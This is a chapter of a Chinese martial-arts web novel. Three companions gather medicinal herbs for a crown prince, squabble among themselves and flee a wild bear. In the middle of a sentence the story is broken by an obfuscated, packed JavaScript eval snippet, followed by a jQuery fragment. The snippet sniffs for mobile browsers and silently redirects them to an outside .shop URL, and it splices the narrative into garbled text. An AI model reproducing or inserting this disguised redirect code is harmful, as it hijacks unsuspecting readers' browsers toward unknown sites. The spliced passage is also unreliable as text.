趁着阳光正好,楼照和江景脱了外衣铺在草地上晾晒,两人又在外面沐浴了片刻阳光,确认身上没有继续往下淌水后才进屋继续商讨事宜。屋内月印大师看着他们这副样子也有些抱歉,找了几块巾帕出来以便他们收拾自己。
“人老多忘事,”月印大师叹了口气,“竟忘了提醒你们离那溪边远一点,弄得如此狼狈样。”
江景边擦边连忙摆手:“没事的没事的,如此奇遇也算是给我们二人扩了眼界,您不必担心。”
月印大师点点头,指着桌上的一张写满字的纸,对他们说:“这上面所写药材是救治太子所需,有几样只能当天采摘的我已标注出来,其他的尽量这几天找齐。”
她把纸拿起递给江景,复又看向万季堂:“老身如今腿脚不便,让我这徒弟带着你们去寻药吧,他对这山头极为熟悉。“
江景接过纸,恭敬躬身道了谢,三人一齐退出屋。江景仔细打量着纸上的文字。
恶谿草、柏徵、荟琉果……十几样药材江景一个也不认识,看得眼花缭乱,头都大了几分,直接把纸往万季堂怀里一塞,跟着楼照去看自己的衣服晒得怎么样了。
万季堂预备今天先去找部分药材后直接下山,江景和楼照听闻后拿了仍半湿的外衣在手上,跟在万季堂身后一个个去找那些名意晦涩的药材。
走了没几步,江景还不忘之前没聊完的话茬:“你还没说呢,洞窟下那两具人骨都是谁?”
两具人骨?万季堂陷入回忆,一具是当年冲破雾障上山而死之人,他本想将其葬于土中,但是苦于自己身质孱弱,只挖了个浅坑就累得满头大汗,最后又跟平常一样将尸体拖至了溪水旁,眼睁睁看着破水而出的水草将其卷入深处。至于另外一具……
“传说吞溪山上曾有仙人在此居住。”万季堂缓缓开口,语气中带着些故弄玄虚,“但这传闻中的‘仙人’不是我师父,更不是我。”
万季堂耸耸肩看向跟在身后的两人:“我也拿不准,说不定另外一具尸骨就是那仙人的呢?其实我怀疑水中的大鲶鱼就是他养的,不然怎么能在山上活到成了精,它衔给你的那宝物,没准也是仙人遗物。”
从洞中出来后,江景就把那块宝石拿出给万季堂看了看,当时他拿在手里打量了片刻就抛回给了江景,随意说了句“既然是我大爷给的你就安心收下呗”。如今这几句话一出来,江景才后知后觉自己到底捡了个什么大便宜。
“这里。”万季堂停步,指着前方一棵大树,树上果实稀疏,耷耷拉拉挂在枝头。“去摘吧,不需要太多,不过你们想要的话也可以多拿点。”
江景抬头看着面前几人高的树摩拳擦掌,她在伏云山上时没事就爱爬树掏个鸟窝什么的,眼前树虽高却还不在她话下。于是江景当即把自己外衣往楼照怀里一扔,上前几步扭头看他们:“你俩就在下面等着吧,看我给你们露一手。”
说罢,她助力跑了两步直接攀上了树干中部,手脚并用快速向上爬去。楼照在下面非常捧场地给她鼓掌,不消片刻江景就爬到树冠,看这药果蔫蔫的样子怕将其弄坏,小心翼翼地摘了几个兜在怀中,随即退身慢慢攀下去。
怀中揣着这重要的药材,江景下行的动作缓慢了许多,等到了距离地面大约一人高的时候,她看准角度准备直接往下跳。可等她刚刚侧过了身,左臂突然一阵刺痛,江景猝不及防左手脱离树干,怀中果子掉了几个,身体也摇摇晃晃差点摔落下去。
楼照一直在下面注意着她一举一动,看见此变动急忙上前几步守在江景下方,生怕她有什么不测。楼照面上极度紧张,问:“怎么了?是刚刚在水下手臂受伤了吗?”
江景稳了稳神,摇摇头放弃了直接跳下来的想法,继续慢慢往下攀行,脚落至地面时她先把摘下来的药果递给万季堂,随后活动了下左臂,仍然隐隐作痛。江景撩了袖子来看,却不见一丝伤痕或淤青,她又想起几天前在万季堂宅内收拾花圃的时候手臂也隐隐闷痛,莫不是当时就落下了什么病根?
楼照和万季堂也过来瞧,万季堂看她手臂无甚异样,推测道:“伤到骨头了,还是还是抽着筋了?要么我给你按按?”
毕竟是以医术著称,江景在这方面倒也信任他。可万季堂捏着她的胳膊连按好几个穴位,摆弄了半天还不见任何起色。楼照在一旁看得眼都快冒火了,出声呛道:“你到底行不行啊?我怎么看你就是乱摸!”
引以为傲的医术被质疑,万季堂也忍不住了,不甘示弱道:“你懂个什么!能不能把嘴闭上,我的思路都被你打断了!”
眼见这两人之间的火气愈演愈烈,江景连忙出来打圆场:“算了算了,采药要紧,这点疼不影响活动的。”她把楼照拉得远了点,低头看刚刚从怀中掉出的药果,确实没辜负它长了那么一副弱不禁风的样子,掉下来的两个已经烂得汁水四溅,捡都捡不起来。
江景尴尬地冲万季堂一笑,他看了一眼地下,摆摆手:“烂成这个样就不要了,反正剩下这几个已经足够了。”
楼照被江景拉着,好歹是没再跟万季堂对骂,亦步亦趋地跟在她身边。等万季堂领着他们找到了下一处药材的地点时,看着眼前跟刚刚如出一辙的巨树,楼照抢先对江景说:“这次我来摘吧,你好好歇着。”
可是……这好像就是棵普通的果树。江景仰头看树上果实,犹豫片刻,不知道是不是该说出口。
“呵,”万季堂那盛产风凉话的嘴果然又在一旁开口:“这就是棵石榴树,要采的药材在它旁边的灌木丛里。你想干什么?摘两个等着给太子殿下解解渴吗?”
眼看楼照头上的黑线越来越多,江景感觉他马上就要忍无可忍,连忙对着万季堂摆手让他少说两句,扭头安抚楼照:“你对着他来什么气?他也就耍耍嘴皮子功夫,你要是出手把他那副身板打伤了怎么办?我们毕竟有事所托。“
江景这番话一出来,面前两个男人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183471|150059||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的情绪倒是很神奇地转变了过来,楼照眼神柔和下来,和她一起往灌木丛走去。万季堂在他们俩身后跺脚,但又无法反驳,毕竟他这孱弱身躯确实对武术全无涉猎。
江景和楼照在灌木丛里摸索片刻就找到了几串明显奇形怪状的草,约有人的小臂长,江景拔了一根向万季堂示意了下,待他点头确认后继续摘了好几根。可等江景一抬头,却正对上了灌木对面一双明显不是人的眼睛。
野熊。粗重的呼吸几乎要喷在江景脸上,带着凶残动物特有的腥气,谨慎地打量着对面人。
江景僵直了身体,抬手轻轻拽了拽楼照的衣袖,他看见眼前景象也被吓了一跳,但是没敢大动作,而是跟着江景慢慢退回到万季堂身边。
万季堂闲得无聊,找了块干净的石头坐下休息,根本没发现那熊的踪迹。看着他们两个人磨磨蹭蹭地挪步,不满地催促道:“你们两个走这么慢干什么?我还等着今天采完药赶紧回家……等等!你们干什么!”
猛地出现的声音惊动了野熊,它骤然站起身直冲他们而来。这下也江景顾不得动作大不大的了,和楼照一人拽着万季堂的一只胳膊就往山下跑。夹在他们两个中间的万季堂看见后面的熊,大喊道:“等一下,我……”
江景怒吼道:“你先闭上嘴。”
她一把捂住万季堂的嘴,江景和楼照二人都轻功极佳,虽然拖着个万季堂但还是跑得飞快。江景一边气喘吁吁一边心想:逃跑还不忘第一个把你给拉上,你不好好想想怎么报答我们就算了,在这里扭个不停做出一副被逼迫的抗拒样子算什么?
不消一会儿,身后野熊早已不见踪影,江景松了一口气,那熊估计对他们没什么兴趣,根本没用全力来追,要不然不会这么快就把它甩开的。
站定之后,江景松开万季堂的一边手臂想休息会,可谁知那边楼照松手动作比她快多了,她这一松万季堂便是彻底没了支撑,直接就“扑通”一声滑倒在了地上。
江景吓了一跳,连忙再次伸手把万季堂扶起来到旁边休息。他的衣服被这一路奔波弄的脏乱不堪,早上梳了半天的头发也乱成一团成绺贴在脸旁,双腿虚浮无力,坐了半天还没缓过来。
江景看了有点想笑,但是她念及万季堂这副惨样,好歹是忍了下来,楼照就直接多了,在一旁笑得停不下来,江景被他笑得实在是忍不住,也接着笑出了声。
万季堂用悲愤的眼神看他们,他上山这一路精心呵护的衣服被刚刚路上的乱枝扯得破了好几个洞,看着狼狈异常。他破口大骂:“你们两个莽夫!武痞子!野蛮人!还捂我嘴干什么?明明根本不用弄成这样的!”
“那可是熊啊,你没看见吗?”江景不解,“难不成它也成了精,跟你相识?”
万季堂盯着她不作声,江景渐渐笑不出来了。她后一句话本是打趣,怎么看他这脸色,像是误打误撞猜对了?
三人面面相觑,气氛诡异地平静下来。